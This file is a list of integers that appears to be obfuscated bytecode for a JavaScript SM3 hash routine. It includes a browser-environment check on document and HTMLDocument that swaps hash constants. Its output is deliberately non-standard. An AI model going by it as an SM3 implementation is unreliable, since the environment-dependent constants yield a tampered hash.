1, 1, 109, 56, 65, 6, 23, 26, 0, 91, 9, 125, 0, 4, 5, 1, 3, 109, 115, 103, 65, 8, 0, 6, 115, 116, 114, 105, 110, 103, 59, 31, 72, 20, 46, 2, 61, 0, 95, 0, 4, 12, 0, 10, 115, 116, 114, 84, 111, 66, 121, 116, 101, 115, 23, 7, 4, 5, 1, 3, 109, 115, 103, 4, 5, 1, 3, 109, 115, 103, 116, 41, 21, 39, 8, 0, 72, 14, 46, 2, 61, 0, 95, 0, 4, 6, 0, 4, 115, 105, 122, 101, 72, 19, 46, 2, 61, 0, 4, 3, 1, 1, 109, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 49, 50, 49, 48, 3, 46, 4, 3, 1, 1, 105, 6, 39, 113, 0, 46, 2, 61, 64, 72, 31, 46, 2, 61, 0, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 99, 104, 117, 110, 107, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 76, 105, 6, 28, 36, 0, 72, 19, 46, 2, 61, 0, 4, 3, 1, 1, 109, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 4, 3, 1, 1, 105, 49, 71, 49, 69, 116, 63, 21, 61, 86, 0, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 99, 104, 117, 110, 107, 59, 40, 72, 31, 46, 2, 61, 0, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 99, 104, 117, 110, 107, 4, 8, 0, 6, 99, 111, 110, 99, 97, 116, 23, 5, 4, 3, 1, 1, 109, 120, 2, 87, 0, 103, 0, 116, 91, 21, 89, 86, 0, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 99, 104, 117, 110, 107, 59, 68, 72, 31, 46, 2, 61, 0, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 99, 104, 117, 110, 107, 4, 8, 0, 6, 99, 111, 110, 99, 97, 116, 23, 33, 59, 31, 72, 18, 46, 2, 61, 0, 4, 3, 1, 1, 109, 4, 7, 0, 5, 115, 108, 105, 99, 101, 23, 9, 46, 2, 61, 0, 4, 3, 1, 1, 105, 73, 154, 2, 6, 39, 101, 0, 72, 31, 46, 2, 61, 0, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 99, 104, 117, 110, 107, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 46, 2, 61, 64, 79, 238, 1, 116, 42, 59, 40, 72, 19, 46, 2, 61, 0, 95, 0, 4, 11, 0, 9, 95, 99, 111, 109, 112, 114, 101, 115, 115, 23, 17, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 99, 104, 117, 110, 107, 76, 176, 1, 6, 28, 36, 0, 4, 3, 1, 1, 105, 72, 19, 46, 2, 61, 0, 4, 3, 1, 1, 109, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 49, 113, 49, 111, 116, 109, 21, 107, 86, 0, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 99, 104, 117, 110, 107, 59, 86, 72, 18, 46, 2, 61, 0, 4, 3, 1, 1, 109, 4, 7, 0, 5, 115, 108, 105, 99, 101, 23, 64, 4, 3, 1, 1, 105, 59, 57, 72, 19, 46, 2, 61, 0, 4, 6, 0, 4, 77, 97, 116, 104, 4, 5, 0, 3, 109, 105, 110, 23, 34, 6, 11, 58, 0, 4, 3, 1, 1, 105, 46, 2, 61, 64, 72, 19, 46, 2, 61, 0, 4, 3, 1, 1, 109, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 49, 29, 49, 27, 116, 25, 21, 23, 86, 0, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 99, 104, 117, 110, 107, 126, 2, 23, 0, 116, 13, 21, 11, 8, 0, 4, 3, 1, 1, 105, 46, 2, 61, 64, 116, 194, 7, 21, 191, 7, 86, 0, 72, 37, 46, 2, 61, 0, 72, 24, 46, 2, 61, 0, 4, 5, 0, 3, 83, 77, 51, 4, 11, 0, 9, 112, 114, 111, 116, 111, 116, 121, 112, 101, 4, 5, 0, 3, 115, 117, 109, 55, 147, 7, 65, 2, 0, 0, 23, 14, 4, 5, 1, 3, 109, 115, 103, 4, 5, 1, 3, 101, 110, 99, 49, 252, 6, 49, 249, 6, 76, 66, 4, 5, 1, 3, 109, 115, 103, 49, 55, 49, 53, 116, 21, 59, 19, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 114, 101, 115, 101, 116, 23, 0, 116, 28, 59, 26, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 119, 114, 105, 116, 101, 23, 7, 4, 5, 1, 3, 109, 115, 103, 103, 0, 116, 21, 59, 19, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 95, 102, 105, 108, 108, 23, 0, 106, 153, 1, 49, 13, 49, 11, 3, 9, 4, 3, 1, 1, 105, 46, 2, 61, 0, 6, 40, 36, 0, 4, 3, 1, 1, 105, 72, 31, 46, 2, 61, 0, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 99, 104, 117, 110, 107, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 21, 11, 8, 0, 4, 3, 1, 1, 105, 46, 2, 61, 64, 79, 81, 116, 79, 59, 77, 72, 19, 46, 2, 61, 0, 95, 0, 4, 11, 0, 9, 95, 99, 111, 109, 112, 114, 101, 115, 115, 23, 54, 59, 52, 72, 30, 46, 2, 61, 0, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 99, 104, 117, 110, 107, 4, 7, 0, 5, 115, 108, 105, 99, 101, 23, 18, 4, 3, 1, 1, 105, 6, 11, 58, 0, 4, 3, 1, 1, 105, 46, 2, 61, 64, 49, 16, 49, 14, 3, 12, 4, 8, 1, 6, 100, 105, 103, 101, 115, 116, 103, 0, 76, 202, 4, 6, 16, 16, 0, 4, 5, 1, 3, 101, 110, 99, 65, 5, 0, 3, 104, 101, 120, 49, 136, 1, 49, 133, 1, 116, 18, 21, 16, 86, 0, 4, 8, 1, 6, 100, 105, 103, 101, 115, 116, 65, 2, 0, 0, 106, 111, 49, 13, 49, 11, 3, 9, 4, 3, 1, 1, 105, 46, 2, 61, 0, 6, 11, 36, 0, 4, 3, 1, 1, 105, 46, 2, 61, 8, 96, 11, 119, 0, 46, 2, 61, 0, 4, 3, 1, 1, 105, 79, 68, 116, 66, 21, 64, 8, 0, 4, 8, 1, 6, 100, 105, 103, 101, 115, 116, 59, 50, 72, 42, 46, 2, 61, 0, 72, 24, 46, 2, 61, 1, 72, 13, 46, 2, 61, 0, 95, 0, 4, 5, 0, 3, 114, 101, 103, 4, 3, 1, 1, 105, 4, 10, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 23, 4, 46, 2, 61, 16, 49, 170, 3, 49, 167, 3, 49, 31, 49, 29, 3, 27, 4, 8, 1, 6, 100, 105, 103, 101, 115, 116, 84, 15, 4, 7, 0, 5, 65, 114, 114, 97, 121, 23, 4, 46, 2, 61, 32, 106, 131, 3, 49, 13, 49, 11, 3, 9, 4, 3, 1, 1, 105, 46, 2, 61, 0, 6, 11, 36, 0, 4, 3, 1, 1, 105, 46, 2, 61, 8, 96, 11, 119, 0, 46, 2, 61, 0, 4, 3, 1, 1, 105, 79, 215, 2, 49, 11, 49, 9, 3, 7, 4, 3, 1, 1, 104, 87, 0, 116, 35, 21, 33, 86, 0, 4, 3, 1, 1, 104, 72, 24, 46, 2, 61, 1, 72, 13, 46, 2, 61, 0, 95, 0, 4, 5, 0, 3, 114, 101, 103, 4, 3, 1, 1, 105, 116, 62, 21, 60, 86, 0, 72, 35, 46, 2, 61, 1, 4, 8, 1, 6, 100, 105, 103, 101, 115, 116, 6, 19, 58, 0, 6, 11, 63, 0, 4, 3, 1, 1, 105, 46, 2, 61, 4, 46, 2, 61, 3, 6, 19, 64, 0, 6, 11, 30, 0, 4, 3, 1, 1, 104, 46, 2, 61, 255, 46, 2, 61, 0, 116, 13, 21, 11, 97, 0, 4, 3, 1, 1, 104, 46, 2, 61, 8, 116, 62, 21, 60, 86, 0, 72, 35, 46, 2, 61, 1, 4, 8, 1, 6, 100, 105, 103, 101, 115, 116, 6, 19, 58, 0, 6, 11, 63, 0, 4, 3, 1, 1, 105, 46, 2, 61, 4, 46, 2, 61, 2, 6, 19, 64, 0, 6, 11, 30, 0, 4, 3, 1, 1, 104, 46, 2, 61, 255, 46, 2, 61, 0, 116, 13, 21, 11, 97, 0, 4, 3, 1, 1, 104, 46, 2, 61, 8, 116, 62, 21, 60, 86, 0, 72, 35, 46, 2, 61, 1, 4, 8, 1, 6, 100, 105, 103, 101, 115, 116, 6, 19, 58, 0, 6, 11, 63, 0, 4, 3, 1, 1, 105, 46, 2, 61, 4, 46, 2, 61, 1, 6, 19, 64, 0, 6, 11, 30, 0, 4, 3, 1, 1, 104, 46, 2, 61, 255, 46, 2, 61, 0, 116, 13, 21, 11, 97, 0, 4, 3, 1, 1, 104, 46, 2, 61, 8, 116, 54, 21, 52, 86, 0, 72, 27, 46, 2, 61, 1, 4, 8, 1, 6, 100, 105, 103, 101, 115, 116, 6, 11, 63, 0, 4, 3, 1, 1, 105, 46, 2, 61, 4, 6, 19, 64, 0, 6, 11, 30, 0, 4, 3, 1, 1, 104, 46, 2, 61, 255, 46, 2, 61, 0, 116, 21, 59, 19, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 114, 101, 115, 101, 116, 23, 0, 120, 10, 4, 8, 1, 6, 100, 105, 103, 101, 115, 116, 116, 233, 12, 21, 230, 12, 86, 0, 72, 43, 46, 2, 61, 0, 72, 24, 46, 2, 61, 0, 4, 5, 0, 3, 83, 77, 51, 4, 11, 0, 9, 112, 114, 111, 116, 111, 116, 121, 112, 101, 4, 11, 0, 9, 95, 99, 111, 109, 112, 114, 101, 115, 115, 55, 180, 12, 65, 2, 0, 0, 23, 5, 4, 3, 1, 1, 109, 49, 166, 12, 49, 163, 12, 76, 90, 6, 11, 36, 0, 4, 3, 1, 1, 109, 46, 2, 61, 64, 49, 73, 49, 71, 116, 65, 59, 63, 72, 24, 46, 2, 61, 0, 4, 9, 0, 7, 99, 111, 110, 115, 111, 108, 101, 4, 7, 0, 5, 101, 114, 114, 111, 114, 23, 35, 65, 33, 0, 31, 99, 111, 109, 112, 114, 101, 115, 115, 32, 101, 114, 114, 111, 114, 58, 32, 110, 111, 116, 32, 101, 110, 111, 117, 103, 104, 32, 100, 97, 116, 97, 120, 2, 87, 0, 103, 0, 49, 37, 49, 35, 3, 33, 4, 3, 1, 1, 119, 59, 26, 72, 17, 46, 2, 61, 0, 95, 0, 4, 9, 0, 7, 95, 101, 120, 112, 97, 110, 100, 23, 5, 4, 3, 1, 1, 109, 49, 47, 49, 45, 3, 43, 4, 3, 1, 1, 114, 59, 36, 72, 28, 46, 2, 61, 0, 72, 13, 46, 2, 61, 0, 95, 0, 4, 5, 0, 3, 114, 101, 103, 4, 7, 0, 5, 115, 108, 105, 99, 101, 23, 4, 46, 2, 61, 0, 106, 232, 9, 49, 13, 49, 11, 3, 9, 4, 3, 1, 1, 106, 46, 2, 61, 0, 6, 11, 36, 0, 4, 3, 1, 1, 106, 46, 2, 61, 64, 96, 11, 119, 0, 46, 2, 61, 0, 4, 3, 1, 1, 106, 79, 188, 9, 49, 123, 49, 121, 3, 119, 4, 5, 1, 3, 115, 115, 49, 6, 110, 58, 0, 6, 57, 58, 0, 59, 38, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 95, 114, 111, 116, 108, 23, 19, 72, 13, 46, 2, 61, 1, 4, 3, 1, 1, 114, 46, 2, 61, 0, 46, 2, 61, 12, 72, 13, 46, 2, 61, 1, 4, 3, 1, 1, 114, 46, 2, 61, 4, 59, 47, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 95, 114, 111, 116, 108, 23, 28, 59, 21, 72, 12, 46, 2, 61, 0, 95, 0, 4, 4, 0, 2, 95, 116, 23, 5, 4, 3, 1, 1, 106, 4, 3, 1, 1, 106, 49, 117, 49, 115, 3, 113, 4, 5, 1, 3, 115, 115, 114, 56, 104, 6, 68, 26, 0, 72, 29, 46, 2, 61, 0, 4, 10, 0, 8, 100, 111, 99, 117, 109, 101, 110, 116, 4, 11, 0, 9, 95, 95, 112, 114, 111, 116, 111, 95, 95, 72, 33, 46, 2, 61, 0, 4, 14, 0, 12, 72, 84, 77, 76, 68, 111, 99, 117, 109, 101, 110, 116, 4, 11, 0, 9, 112, 114, 111, 116, 111, 116, 121, 112, 101, 46, 15, 70, 65, 12, 0, 10, 52, 50, 52, 52, 54, 51, 53, 54, 52, 55, 46, 15, 70, 65, 12, 0, 10, 52, 50, 52, 51, 53, 49, 55, 49, 54, 54, 116, 37, 21, 35, 86, 0, 4, 5, 1, 3, 115, 115, 49, 6, 24, 64, 0, 6, 16, 30, 0, 4, 5, 1, 3, 115, 115, 49, 4, 5, 1, 3, 115, 115, 114, 46, 2, 61, 0, 116, 43, 21, 41, 86, 0, 4, 5, 1, 3, 115, 115, 49, 59, 30, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 95, 114, 111, 116, 108, 23, 11, 4, 5, 1, 3, 115, 115, 49, 46, 2, 61, 7, 49, 70, 49, 68, 3, 66, 4, 5, 1, 3, 115, 115, 50, 6, 57, 64, 0, 6, 49, 15, 0, 4, 5, 1, 3, 115, 115, 49, 59, 38, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 95, 114, 111, 116, 108, 23, 19, 72, 13, 46, 2, 61, 1, 4, 3, 1, 1, 114, 46, 2, 61, 0, 46, 2, 61, 12, 46, 2, 61, 0, 49, 80, 49, 78, 3, 76, 4, 5, 1, 3, 116, 116, 49, 59, 67, 72, 13, 46, 2, 61, 0, 95, 0, 4, 5, 0, 3, 95, 102, 102, 23, 50, 4, 3, 1, 1, 106, 72, 13, 46, 2, 61, 1, 4, 3, 1, 1, 114, 46, 2, 61, 0, 72, 13, 46, 2, 61, 1, 4, 3, 1, 1, 114, 46, 2, 61, 1, 72, 13, 46, 2, 61, 1, 4, 3, 1, 1, 114, 46, 2, 61, 2, 116, 76, 21, 74, 86, 0, 4, 5, 1, 3, 116, 116, 49, 6, 63, 58, 0, 6, 35, 58, 0, 6, 24, 58, 0, 4, 5, 1, 3, 116, 116, 49, 72, 13, 46, 2, 61, 1, 4, 3, 1, 1, 114, 46, 2, 61, 3, 4, 5, 1, 3, 115, 115, 50, 72, 22, 46, 2, 61, 1, 4, 3, 1, 1, 119, 6, 11, 58, 0, 4, 3, 1, 1, 106, 46, 2, 61, 68, 116, 47, 21, 45, 86, 0, 4, 5, 1, 3, 116, 116, 49, 6, 34, 64, 0, 6, 26, 30, 0, 4, 5, 1, 3, 116, 116, 49, 46, 15, 70, 65, 12, 0, 10, 52, 50, 57, 52, 57, 54, 55, 50, 57, 48, 46, 2, 61, 0, 49, 80, 49, 78, 3, 76, 4, 5, 1, 3, 116, 116, 50, 59, 67, 72, 13, 46, 2, 61, 0, 95, 0, 4, 5, 0, 3, 95, 103, 103, 23, 50, 4, 3, 1, 1, 106, 72, 13, 46, 2, 61, 1, 4, 3, 1, 1, 114, 46, 2, 61, 4, 72, 13, 46, 2, 61, 1, 4, 3, 1, 1, 114, 46, 2, 61, 5, 72, 13, 46, 2, 61, 1, 4, 3, 1, 1, 114, 46, 2, 61, 6, 116, 68, 21, 66, 86, 0, 4, 5, 1, 3, 116, 116, 50, 6, 55, 58, 0, 6, 35, 58, 0, 6, 24, 58, 0, 4, 5, 1, 3, 116, 116, 50, 72, 13, 46, 2, 61, 1, 4, 3, 1, 1, 114, 46, 2, 61, 7, 4, 5, 1, 3, 115, 115, 49, 72, 14, 46, 2, 61, 1, 4, 3, 1, 1, 119, 4, 3, 1, 1, 106, 116, 47, 21, 45, 86, 0, 4, 5, 1, 3, 116, 116, 50, 6, 34, 64, 0, 6, 26, 30, 0, 4, 5, 1, 3, 116, 116, 50, 46, 15, 70, 65, 12, 0, 10, 52, 50, 56, 57, 55, 50, 52, 52, 49, 53, 46, 2, 61, 0, 116, 34, 21, 32, 86, 0, 72, 13, 46, 2, 61, 1, 4, 3, 1, 1, 114, 46, 2, 61, 3, 72, 13, 46, 2, 61, 1, 4, 3, 1, 1, 114, 46, 2, 61, 2, 116, 59, 21, 57, 86, 0, 72, 13, 46, 2, 61, 1, 4, 3, 1, 1, 114, 46, 2, 61, 2, 59, 38, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 95, 114, 111, 116, 108, 23, 19, 72, 13, 46, 2, 61, 1, 4, 3, 1, 1, 114, 46, 2, 61, 1, 46, 2, 61, 9, 116, 34, 21, 32, 86, 0, 72, 13, 46, 2, 61, 1, 4, 3, 1, 1, 114, 46, 2, 61, 1, 72, 13, 46, 2, 61, 1, 4, 3, 1, 1, 114, 46, 2, 61, 0, 116, 26, 21, 24, 86, 0, 72, 13, 46, 2, 61, 1, 4, 3, 1, 1, 114, 46, 2, 61, 0, 4, 5, 1, 3, 116, 116, 49, 116, 34, 21, 32, 86, 0, 72, 13, 46, 2, 61, 1, 4, 3, 1, 1, 114, 46, 2, 61, 7, 72, 13, 46, 2, 61, 1, 4, 3, 1, 1, 114, 46, 2, 61, 6, 116, 59, 21, 57, 86, 0, 72, 13, 46, 2, 61, 1, 4, 3, 1, 1, 114, 46, 2, 61, 6, 59, 38, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 95, 114, 111, 116, 108, 23, 19, 72, 13, 46, 2, 61, 1, 4, 3, 1, 1, 114, 46, 2, 61, 5, 46, 2, 61, 19, 116, 34, 21, 32, 86, 0, 72, 13, 46, 2, 61, 1, 4, 3, 1, 1, 114, 46, 2, 61, 5, 72, 13, 46, 2, 61, 1, 4, 3, 1, 1, 114, 46, 2, 61, 4, 116, 106, 21, 104, 86, 0, 72, 13, 46, 2, 61, 1, 4, 3, 1, 1, 114, 46, 2, 61, 4, 6, 85, 64, 0, 6, 77, 15, 0, 6, 41, 15, 0, 4, 5, 1, 3, 116, 116, 50, 59, 30, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 95, 114, 111, 116, 108, 23, 11, 4, 5, 1, 3, 116, 116, 50, 46, 2, 61, 9, 59, 30, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 95, 114, 111, 116, 108, 23, 11, 4, 5, 1, 3, 116, 116, 50, 46, 2, 61, 17, 46, 2, 61, 0, 106, 129, 1, 49, 13, 49, 11, 3, 9, 4, 3, 1, 1, 105, 46, 2, 61, 0, 6, 11, 36, 0, 4, 3, 1, 1, 105, 46, 2, 61, 8, 96, 11, 119, 0, 46, 2, 61, 0, 4, 3, 1, 1, 105, 79, 86, 116, 84, 21, 82, 86, 0, 72, 24, 46, 2, 61, 1, 72, 13, 46, 2, 61, 0, 95, 0, 4, 5, 0, 3, 114, 101, 103, 4, 3, 1, 1, 105, 6, 52, 64, 0, 6, 44, 15, 0, 72, 24, 46, 2, 61, 1, 72, 13, 46, 2, 61, 0, 95, 0, 4, 5, 0, 3, 114, 101, 103, 4, 3, 1, 1, 105, 72, 14, 46, 2, 61, 1, 4, 3, 1, 1, 114, 4, 3, 1, 1, 105, 46, 2, 61, 0, 116, 205, 4, 21, 202, 4, 86, 0, 72, 39, 46, 2, 61, 0, 72, 24, 46, 2, 61, 0, 4, 5, 0, 3, 83, 77, 51, 4, 11, 0, 9, 112, 114, 111, 116, 111, 116, 121, 112, 101, 4, 7, 0, 5, 95, 102, 105, 108, 108, 55, 156, 4, 65, 2, 0, 0, 23, 0, 49, 147, 4, 49, 144, 4, 49, 33, 49, 31, 3, 29, 4, 3, 1, 1, 108, 6, 22, 63, 0, 72, 14, 46, 2, 61, 0, 95, 0, 4, 6, 0, 4, 115, 105, 122, 101, 46, 2, 61, 8, 49, 58, 49, 56, 3, 54, 4, 5, 1, 3, 108, 101, 110, 6, 45, 110, 0, 59, 37, 72, 29, 46, 2, 61, 0, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 99, 104, 117, 110, 107, 4, 6, 0, 4, 112, 117, 115, 104, 23, 4, 46, 2, 61, 128, 46, 2, 61, 64, 76, 46, 6, 21, 36, 0, 6, 13, 113, 0, 46, 2, 61, 64, 4, 5, 1, 3, 108, 101, 110, 46, 2, 61, 8, 49, 19, 49, 17, 116, 15, 21, 13, 19, 0, 4, 5, 1, 3, 108, 101, 110, 46, 2, 61, 64, 103, 0, 106, 75, 103, 0, 6, 13, 36, 0, 4, 5, 1, 3, 108, 101, 110, 46, 2, 61, 56, 96, 13, 119, 0, 46, 2, 61, 0, 4, 5, 1, 3, 108, 101, 110, 79, 41, 116, 39, 59, 37, 72, 29, 46, 2, 61, 0, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 99, 104, 117, 110, 107, 4, 6, 0, 4, 112, 117, 115, 104, 23, 4, 46, 2, 61, 0, 106, 185, 1, 49, 13, 49, 11, 3, 9, 4, 3, 1, 1, 105, 46, 2, 61, 0, 6, 11, 36, 0, 4, 3, 1, 1, 105, 46, 2, 61, 4, 96, 11, 119, 0, 46, 2, 61, 0, 4, 3, 1, 1, 105, 79, 141, 1, 49, 63, 49, 61, 3, 59, 4, 4, 1, 2, 104, 105, 59, 51, 72, 21, 46, 2, 61, 0, 4, 6, 0, 4, 77, 97, 116, 104, 4, 7, 0, 5, 102, 108, 111, 111, 114, 23, 26, 6, 24, 68, 0, 4, 3, 1, 1, 108, 46, 15, 70, 65, 12, 0, 10, 52, 50, 57, 52, 57, 54, 55, 50, 57, 54, 116, 74, 59, 72, 72, 29, 46, 2, 61, 0, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 99, 104, 117, 110, 107, 4, 6, 0, 4, 112, 117, 115, 104, 23, 39, 6, 37, 30, 0, 6, 29, 64, 0, 4, 4, 1, 2, 104, 105, 6, 19, 63, 0, 6, 11, 113, 0, 46, 2, 61, 3, 4, 3, 1, 1, 105, 46, 2, 61, 8, 46, 2, 61, 255, 106, 118, 49, 13, 49, 11, 3, 9, 4, 3, 1, 1, 105, 46, 2, 61, 0, 6, 11, 36, 0, 4, 3, 1, 1, 105, 46, 2, 61, 4, 96, 11, 119, 0, 46, 2, 61, 0, 4, 3, 1, 1, 105, 79, 75, 116, 73, 59, 71, 72, 29, 46, 2, 61, 0, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 99, 104, 117, 110, 107, 4, 6, 0, 4, 112, 117, 115, 104, 23, 38, 6, 36, 30, 0, 6, 28, 64, 0, 4, 3, 1, 1, 108, 6, 19, 63, 0, 6, 11, 113, 0, 46, 2, 61, 3, 4, 3, 1, 1, 105, 46, 2, 61, 8, 46, 2, 61, 255, 116, 143, 7, 21, 140, 7, 86, 0, 72, 41, 46, 2, 61, 0, 72, 24, 46, 2, 61, 0, 4, 5, 0, 3, 83, 77, 51, 4, 11, 0, 9, 112, 114, 111, 116, 111, 116, 121, 112, 101, 4, 9, 0, 7, 95, 101, 120, 112, 97, 110, 100, 55, 220, 6, 65, 2, 0, 0, 23, 5, 4, 3, 1, 1, 98, 49, 206, 6, 49, 203, 6, 49, 26, 49, 24, 3, 22, 4, 3, 1, 1, 119, 84, 15, 4, 7, 0, 5, 65, 114, 114, 97, 121, 23, 4, 46, 2, 61, 132, 106, 174, 2, 49, 13, 49, 11, 3, 9, 4, 3, 1, 1, 105, 46, 2, 61, 0, 6, 11, 36, 0, 4, 3, 1, 1, 105, 46, 2, 61, 16, 96, 11, 119, 0, 46, 2, 61, 0, 4, 3, 1, 1, 105, 79, 130, 2, 116, 52, 21, 50, 86, 0, 72, 14, 46, 2, 61, 1, 4, 3, 1, 1, 119, 4, 3, 1, 1, 105, 6, 30, 118, 0, 72, 22, 46, 2, 61, 1, 4, 3, 1, 1, 98, 6, 11, 63, 0, 4, 3, 1, 1, 105, 46, 2, 61, 4, 46, 2, 61, 24, 116, 60, 21, 58, 121, 0, 72, 14, 46, 2, 61, 1, 4, 3, 1, 1, 119, 4, 3, 1, 1, 105, 6, 38, 118, 0, 72, 30, 46, 2, 61, 1, 4, 3, 1, 1, 98, 6, 19, 58, 0, 6, 11, 63, 0, 4, 3, 1, 1, 105, 46, 2, 61, 4, 46, 2, 61, 1, 46, 2, 61, 16, 116, 60, 21, 58, 121, 0, 72, 14, 46, 2, 61, 1, 4, 3, 1, 1, 119, 4, 3, 1, 1, 105, 6, 38, 118, 0, 72, 30, 46, 2, 61, 1, 4, 3, 1, 1, 98, 6, 19, 58, 0, 6, 11, 63, 0, 4, 3, 1, 1, 105, 46, 2, 61, 4, 46, 2, 61, 2, 46, 2, 61, 8, 116, 52, 21, 50, 121, 0, 72, 14, 46, 2, 61, 1, 4, 3, 1, 1, 119, 4, 3, 1, 1, 105, 72, 30, 46, 2, 61, 1, 4, 3, 1, 1, 98, 6, 19, 58, 0, 6, 11, 63, 0, 4, 3, 1, 1, 105, 46, 2, 61, 4, 46, 2, 61, 3, 116, 24, 21, 22, 97, 0, 72, 14, 46, 2, 61, 1, 4, 3, 1, 1, 119, 4, 3, 1, 1, 105, 46, 2, 61, 0, 106, 245, 2, 49, 13, 49, 11, 3, 9, 4, 3, 1, 1, 106, 46, 2, 61, 16, 6, 11, 36, 0, 4, 3, 1, 1, 106, 46, 2, 61, 68, 96, 11, 119, 0, 46, 2, 61, 0, 4, 3, 1, 1, 106, 79, 201, 2, 49, 11, 49, 9, 3, 7, 4, 3, 1, 1, 120, 87, 0, 116, 114, 21, 112, 86, 0, 4, 3, 1, 1, 120, 6, 103, 15, 0, 6, 50, 15, 0, 72, 22, 46, 2, 61, 1, 4, 3, 1, 1, 119, 6, 11, 113, 0, 4, 3, 1, 1, 106, 46, 2, 61, 16, 72, 22, 46, 2, 61, 1, 4, 3, 1, 1, 119, 6, 11, 113, 0, 4, 3, 1, 1, 106, 46, 2, 61, 9, 59, 47, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 95, 114, 111, 116, 108, 23, 28, 72, 22, 46, 2, 61, 1, 4, 3, 1, 1, 119, 6, 11, 113, 0, 4, 3, 1, 1, 106, 46, 2, 61, 3, 46, 2, 61, 15, 116, 82, 21, 80, 86, 0, 4, 3, 1, 1, 120, 6, 71, 15, 0, 6, 37, 15, 0, 4, 3, 1, 1, 120, 59, 28, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 95, 114, 111, 116, 108, 23, 9, 4, 3, 1, 1, 120, 46, 2, 61, 15, 59, 28, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 95, 114, 111, 116, 108, 23, 9, 4, 3, 1, 1, 120, 46, 2, 61, 23, 116, 114, 21, 112, 86, 0, 72, 14, 46, 2, 61, 1, 4, 3, 1, 1, 119, 4, 3, 1, 1, 106, 6, 92, 64, 0, 6, 84, 15, 0, 6, 56, 15, 0, 4, 3, 1, 1, 120, 59, 47, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 95, 114, 111, 116, 108, 23, 28, 72, 22, 46, 2, 61, 1, 4, 3, 1, 1, 119, 6, 11, 113, 0, 4, 3, 1, 1, 106, 46, 2, 61, 13, 46, 2, 61, 7, 72, 22, 46, 2, 61, 1, 4, 3, 1, 1, 119, 6, 11, 113, 0, 4, 3, 1, 1, 106, 46, 2, 61, 6, 46, 2, 61, 0, 106, 125, 49, 13, 49, 11, 3, 9, 4, 3, 1, 1, 106, 46, 2, 61, 0, 6, 11, 36, 0, 4, 3, 1, 1, 106, 46, 2, 61, 64, 96, 11, 119, 0, 46, 2, 61, 0, 4, 3, 1, 1, 106, 79, 82, 116, 80, 21, 78, 86, 0, 72, 22, 46, 2, 61, 1, 4, 3, 1, 1, 119, 6, 11, 58, 0, 4, 3, 1, 1, 106, 46, 2, 61, 68, 6, 50, 64, 0, 6, 42, 15, 0, 72, 14, 46, 2, 61, 1, 4, 3, 1, 1, 119, 4, 3, 1, 1, 106, 72, 22, 46, 2, 61, 1, 4, 3, 1, 1, 119, 6, 11, 58, 0, 4, 3, 1, 1, 106, 46, 2, 61, 4, 46, 2, 61, 0, 120, 5, 4, 3, 1, 1, 119, 116, 133, 1, 21, 130, 1, 86, 0, 72, 39, 46, 2, 61, 0, 72, 24, 46, 2, 61, 0, 4, 5, 0, 3, 83, 77, 51, 4, 11, 0, 9, 112, 114, 111, 116, 111, 116, 121, 112, 101, 4, 7, 0, 5, 95, 114, 111, 116, 108, 55, 85, 65, 2, 0, 0, 23, 10, 4, 3, 1, 1, 120, 4, 3, 1, 1, 110, 49, 67, 49, 65, 116, 13, 21, 11, 10, 0, 4, 3, 1, 1, 110, 46, 2, 61, 32, 120, 48, 6, 46, 64, 0, 6, 38, 37, 0, 6, 12, 118, 0, 4, 3, 1, 1, 120, 4, 3, 1, 1, 110, 6, 20, 64, 0, 4, 3, 1, 1, 120, 6, 11, 113, 0, 46, 2, 61, 32, 4, 3, 1, 1, 110, 46, 2, 61, 0, 116, 128, 3, 21, 253, 2, 86, 0, 72, 36, 46, 2, 61, 0, 72, 24, 46, 2, 61, 0, 4, 5, 0, 3, 83, 77, 51, 4, 11, 0, 9, 112, 114, 111, 116, 111, 116, 121, 112, 101, 4, 4, 0, 2, 95, 116, 55, 210, 2, 65, 2, 0, 0, 23, 5, 4, 3, 1, 1, 106, 49, 196, 2, 49, 193, 2, 76, 190, 2, 60, 28, 92, 0, 6, 11, 2, 0, 46, 2, 61, 0, 4, 3, 1, 1, 106, 6, 11, 36, 0, 4, 3, 1, 1, 106, 46, 2, 61, 16, 